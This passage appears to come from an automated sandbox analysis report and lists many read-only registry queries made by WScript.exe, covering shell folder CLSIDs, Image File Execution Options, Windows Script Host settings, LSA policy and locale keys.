"HKLM\SOFTWARE\CLASSES\CLSID\{B4FB3F98-C1EA-428D-A78A-D1F5659CBA93}\SHELLFOLDER"; Key: "CALLFORATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{B4FB3F98-C1EA-428D-A78A-D1F5659CBA93}\SHELLFOLDER"; Key: "RESTRICTEDATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{B4FB3F98-C1EA-428D-A78A-D1F5659CBA93}\SHELLFOLDER"; Key: "FOLDERVALUEFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\NONENUM"; Key: "{B4FB3F98-C1EA-428D-A78A-D1F5659CBA93}"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{BD7A2E7B-21CB-41B2-A086-B309680C6B7E}\SHELLFOLDER"; Key: "ATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{BD7A2E7B-21CB-41B2-A086-B309680C6B7E}\SHELLFOLDER"; Key: "CALLFORATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{BD7A2E7B-21CB-41B2-A086-B309680C6B7E}\SHELLFOLDER"; Key: "RESTRICTEDATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{BD7A2E7B-21CB-41B2-A086-B309680C6B7E}\SHELLFOLDER"; Key: "FOLDERVALUEFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\NONENUM"; Key: "{BD7A2E7B-21CB-41B2-A086-B309680C6B7E}"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{DAF95313-E44D-46AF-BE1B-CBACEA2C3065}\SHELLFOLDER"; Key: "ATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{DAF95313-E44D-46AF-BE1B-CBACEA2C3065}\SHELLFOLDER"; Key: "CALLFORATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{DAF95313-E44D-46AF-BE1B-CBACEA2C3065}\SHELLFOLDER"; Key: "RESTRICTEDATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{DAF95313-E44D-46AF-BE1B-CBACEA2C3065}\SHELLFOLDER"; Key: "FOLDERVALUEFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\NONENUM"; Key: "{DAF95313-E44D-46AF-BE1B-CBACEA2C3065}"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{E345F35F-9397-435C-8F95-4E922C26259E}\SHELLFOLDER"; Key: "ATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{E345F35F-9397-435C-8F95-4E922C26259E}\SHELLFOLDER"; Key: "CALLFORATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{E345F35F-9397-435C-8F95-4E922C26259E}\SHELLFOLDER"; Key: "RESTRICTEDATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{E345F35F-9397-435C-8F95-4E922C26259E}\SHELLFOLDER"; Key: "FOLDERVALUEFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\NONENUM"; Key: "{E345F35F-9397-435C-8F95-4E922C26259E}"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}\SHELLFOLDER"; Key: "ATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}\SHELLFOLDER"; Key: "CALLFORATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}\SHELLFOLDER"; Key: "RESTRICTEDATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}\SHELLFOLDER"; Key: "FOLDERVALUEFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\NONENUM"; Key: "{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{EDC978D6-4D53-4B2F-A265-5805674BE568}\SHELLFOLDER"; Key: "ATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{EDC978D6-4D53-4B2F-A265-5805674BE568}\SHELLFOLDER"; Key: "CALLFORATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{EDC978D6-4D53-4B2F-A265-5805674BE568}\SHELLFOLDER"; Key: "RESTRICTEDATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{EDC978D6-4D53-4B2F-A265-5805674BE568}\SHELLFOLDER"; Key: "FOLDERVALUEFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\NONENUM"; Key: "{EDC978D6-4D53-4B2F-A265-5805674BE568}"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\SHELLFOLDER"; Key: "ATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\SHELLFOLDER"; Key: "CALLFORATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\SHELLFOLDER"; Key: "RESTRICTEDATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\SHELLFOLDER"; Key: "FOLDERVALUEFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\NONENUM"; Key: "{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{F8278C54-A712-415B-B593-B77A2BE0DDA9}\SHELLFOLDER"; Key: "ATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{F8278C54-A712-415B-B593-B77A2BE0DDA9}\SHELLFOLDER"; Key: "CALLFORATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{F8278C54-A712-415B-B593-B77A2BE0DDA9}\SHELLFOLDER"; Key: "RESTRICTEDATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{F8278C54-A712-415B-B593-B77A2BE0DDA9}\SHELLFOLDER"; Key: "FOLDERVALUEFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\NONENUM"; Key: "{F8278C54-A712-415B-B593-B77A2BE0DDA9}"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKCU\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\SHELLFOLDER"; Key: "ATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKCU\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\SHELLFOLDER"; Key: "CALLFORATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKCU\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\SHELLFOLDER"; Key: "RESTRICTEDATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKCU\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\SHELLFOLDER"; Key: "FOLDERVALUEFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\NONENUM"; Key: "{018D5C66-4533-4307-9B53-224DE2ED1FE6}"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\SHELLFOLDER"; Key: "ATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\SHELLFOLDER"; Key: "CALLFORATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\SHELLFOLDER"; Key: "RESTRICTEDATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\SHELLFOLDER"; Key: "FOLDERVALUEFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\NONENUM"; Key: "{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\INSTANCE"; Key: "CLSID"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\INPROCSERVER32"; Key: ""; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\INPROCSERVER32"; Key: "LOADWITHOUTCOM"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}"; Key: ""; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\INPROCSERVER32"; Key: "INPROCSERVER32"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\INPROCSERVER32"; Key: "THREADINGMODEL"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}"; Key: "APPID"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MYCOMPUTER\NAMESPACE"; Key: "VALIDATEREGITEMS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MYCOMPUTER\NAMESPACE"; Key: "MONITORREGISTRY"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\INSTANCE\INITPROPERTYBAG"; Key: "HIDENONREMOVABLEDRIVES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\INSTANCE\INITPROPERTYBAG"; Key: "ALLOWCHILDALIASREGISTRATION"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\INSTANCE\INITPROPERTYBAG"; Key: "USEREMOVABLESTORAGEREGPATH"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\INSTANCE\INITPROPERTYBAG"; Key: "USEREMOVABLEDRIVESREGPATH"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\INSTANCE\INITPROPERTYBAG"; Key: "NODELEGATESEARCHROOT"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\INSTANCE\INITPROPERTYBAG"; Key: "HIDENONSTORAGESERVICEMOUNTEDDRIVES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\INSTANCE\INITPROPERTYBAG"; Key: "FORCEALLDRIVESREMOVABLE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\INSTANCE\INITPROPERTYBAG"; Key: "SHOWALLOPTICALDEVICES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\POWERSHELL.EXE"; Key: ""; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{815EAD30-0000-0000-0000-501F00000000}"; Key: "DATA"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{815EAD30-0000-0000-0000-501F00000000}"; Key: "GENERATION"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\DRIVE\SHELLEX\FOLDEREXTENSIONS\{FBEB8A05-BEEE-4442-804E-409D6C4515E9}"; Key: "DRIVEMASK"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "LOGFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "836D9D37-46C1-41BE-A956-09B88F964468"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "DONTSHOWSUPERHIDDEN"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "USEFILTER"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "DISABLEHEAPLOOKASIDE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "FRONTENDHEAPDEBUGOPTIONS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "SHUTDOWNFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "UNLOADEVENTTRACEDEPTH"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "MAXLOADERTHREADS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "USEIMPERSONATEDDEVICEMAP"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "TRACINGFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "CFGOPTIONS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "MINIMUMSTACKCOMMITINBYTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "BREAKONINITIALIZEPROCESSFAILURE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "KEEPACTIVATIONCONTEXTSALIVE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "TRACKACTIVATIONCONTEXTRELEASES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "MAXDEADACTIVATIONCONTEXTS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "GLOBALFLAG"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "CWDILLEGALINDLLSEARCH"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "DEBUGPROCESSHEAPONLY"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "SEARCHPATHMODE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "ENABLED"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: "FIPSALGORITHMPOLICY"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "MDMENABLED"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "AGGRESSIVEMTATESTING"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "GDISCALING"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "ENABLEPERPROCESSSYSTEMDPI"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: "WSCRIPT"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\CMF\CONFIG"; Key: "SYSTEM"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS"; Key: "LOADAPPINIT_DLLS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "DPIAWARENESS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS SCRIPT HOST\SETTINGS"; Key: "IGNOREUSERSETTINGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS SCRIPT HOST\SETTINGS"; Key: "ENABLED"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS SCRIPT HOST\SETTINGS"; Key: "ENABLED"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\RPC"; Key: "MAXRPCSIZE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\SETUP"; Key: "OOBEINPROGRESS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\SETUP"; Key: "SYSTEMSETUPINPROGRESS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "RPCRUNTIMECONFIGFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\RPC"; Key: "IDLETIMERWINDOW"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\APPX"; Key: "ALLOWDEVELOPMENTWITHOUTDEVLICENSE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APPMODELUNLOCK"; Key: "ALLOWDEVELOPMENTWITHOUTDEVLICENSE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: "ANONYMOUSAPPCONTAINERIMPERSONATIONLEVELCHECK"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: "EVERYONEINCLUDESANONYMOUS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS SCRIPT HOST\SETTINGS"; Key: "LOGSECURITYSUCCESSES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS SCRIPT HOST\SETTINGS"; Key: "LOGSECURITYSUCCESSES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS SCRIPT HOST\SETTINGS"; Key: "TRUSTPOLICY"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS SCRIPT HOST\SETTINGS"; Key: "USEWINSAFER"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS SCRIPT HOST\SETTINGS"; Key: "TRUSTPOLICY"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS SCRIPT HOST\SETTINGS"; Key: "USEWINSAFER"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS SCRIPT HOST\SETTINGS"; Key: "TIMEOUT"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS SCRIPT HOST\SETTINGS"; Key: "DISPLAYLOGO"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS SCRIPT HOST\SETTINGS"; Key: "TIMEOUT"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS SCRIPT HOST\SETTINGS"; Key: "DISPLAYLOGO"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; 